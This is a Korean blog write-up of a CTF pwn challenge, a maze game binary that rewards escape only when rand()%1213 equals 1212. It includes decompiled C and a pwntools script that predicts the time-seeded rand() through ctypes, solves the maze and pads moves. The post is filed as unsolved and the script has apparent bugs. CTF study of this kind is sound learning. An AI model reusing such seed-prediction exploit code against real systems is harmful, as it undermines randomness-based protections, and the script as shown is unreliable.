728x90
반응형
1. intro
2. code 및 분석
2.1. code
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
char v6; // [rsp+Bh] [rbp-3A5h] BYREF
int i; // [rsp+Ch] [rbp-3A4h]
int j; // [rsp+10h] [rbp-3A0h]
unsigned int v9; // [rsp+14h] [rbp-39Ch]
unsigned int v10; // [rsp+18h] [rbp-398h]
int v11; // [rsp+1Ch] [rbp-394h]
char v12[904]; // [rsp+20h] [rbp-390h] BYREF
unsigned __int64 v13; // [rsp+3A8h] [rbp-8h]
__int64 savedregs; // [rsp+3B0h] [rbp+0h] BYREF
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = time(0LL);
srand(v3);
for ( i = 0; i <= 29; ++i )
{
for ( j = 0; j <= 29; ++j )
*((_BYTE *)&savedregs + 30 * i + j - 912) = 35;
}
puts("Reticulating splines... ");
generate_maze(v12, 1LL, 1LL, 1LL);
puts("\n\nWelcome to the maze!");
v9 = 1;
v10 = 1;
v11 = 1;
while ( 1 )
{
if ( show_maze )
display_maze(v12, v9, v10);
printf("You are in room (%d, %d)\n", v9, v10);
if ( v11 )
randomDescription();
else
v11 = 1;
puts("Which would you like to do?");
if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)(v9 - 1) + (int)v10 - 912)) )
printf("go (n)orth, ");
if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)(v9 + 1) + (int)v10 - 912)) )
printf("go (s)outh, ");
if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)v9 + (int)(v10 - 1) - 912)) )
printf("go (w)est, ");
if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)v9 + (int)(v10 + 1) - 912)) )
printf("go (e)ast, ");
printf("or (q) end the torment");
printf(": ");
__isoc99_scanf(" %c", &v6);
putchar(10);
v4 = v6 - 97;
if ( v4 <= 0x16 )
__asm { jmp rax }
if ( *((_BYTE *)&savedregs + 30 * (int)v9 + (int)v10 - 912) == 42 )
{
if ( rand() % 1213 == 1212 )
{
puts("You successfully exit the maze!");
winner();
}
puts("Just as you are about to exit, a displacer beast captures you. You die.");
exit(0);
}
}
}
2.2. 분석
sran(time(0)를 seed로 미로를 만들고, 이를 탈출하면 winner 함수를 실행해주는 간단한 미로 탈출 게임이다.
다만, 탈출 시 rand() % 1213이 1212를 만족해야지만 winner 함수가 실행되며,
그렇지 않으면 괴물에게 잡혀 죽었다는 메시지와 함께 종료된다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
rand seed가 동일하면 같은 결과값을 가진다.
3.2. 공격 준비
어쨌든 미로를 탈출하면 된다.
다만, 마지막에 탈출 시 rand 값이 1212가 되어야하니 이를 고려해서 벽으로의 이동, 제자리 이동 등과 같이
rand 값이 일치할 때 탈출하도록 페이로드가 작성되어야 한다.
미로를 탈출하는 코드를 어떻게 작성해야하나 고민했는데,
역시 없는게 없는 인터넷 + 팀원 분께서 미로 탈출 코드만 작성 (또는 검색?!) 해주셔서
이를 토대로 마무리 했다.
4. exploit
from pwn import *
from ctypes import CDLL
import sys
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./challenge')
libc.srand(libc.time(0))
p.recvuntil(b'... \n')
while 1:
ch = p.recv(b'2')
if b'\r' in ch:
libc.rand()
elif b'\n' in ch:
break
v0 = libc.rand()
p.sendlineafter(b': ',b'a')
p.recvuntil(b'maze.\n')
maze=[]
while 1:
check = p.recvuntil(b' \n')[:-2]
if b'#' in check:
maze.append(str(check))
else:
break
def solve_maze(maze):
start_row, start_col = find_start(maze)
visited = set()
path = []
def dfs(maze, row, col, visited, path):
if not is_valid(maze, row, col) or maze[row][col] == '#':
return False
if maze[row][col] == '*':
path.append((row, col))
return True
visited.add((row, col))
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
for dr, dc in directions:
next_row, next_col = row + dr, col + dc
if (next_row, next_col) not in visited:
if dfs(maze, next_row, next_col, visited, path):
path.append((row, col))
return True
return False
def is_valid(maze, row, col):
num_rows, num_cols = len(maze), len(maze[0])
return 0 <= row < num_rows and 0 <= col < num_cols
def find_start(maze):
for row in range(len(maze)):
for col in range(len(maze[row])):
if maze[row][col] == '@':
return row, col
return -1, -1
def print_path(maze, path):
for row in range(len(maze)):
for col in range(len(maze[row])):
if (row, col) in path:
print('x', end='')
else:
print(maze[row][col], end='')
print()
solve = []
def print_directions(path):
for i in range(len(path) - 1, 0, -1):
curr_row, curr_col = path[i]
prev_row, prev_col = path[i - 1]
if curr_row > prev_row:
solve.append("n")
elif curr_row < prev_row:
solve.append("s")
elif curr_col > prev_col:
solve.append("w")
elif curr_col < prev_col:
solve.append("e")
start_row, start_col = find_start(maze)
visited = set()
path = []
if dfs(maze, start_row, start_col, visited, path):
print("미로를 성공적으로 풀었습니다.")
print_directions(path)
else:
print("미로를 풀 수 없습니다.")
count=0
first = len(solve)
while v0%1213 != 1212:
solve.insert(0,'n')
v0 = libc.rand()
count += 1
for i in range(len(solve)-1):
v0 = libc.rand()
for i in range(first,len(solve)):
p.sendlineafter(b'torment: ',str(solve[i]).encode('utf-8'))
p.interactive()
728x90
반응형
'CTF > Unsolved' 카테고리의 다른 글
Hackappatoi CTF 2022 - [PWN] beerop (unsolved) (0) | 2022.12.15 |
---|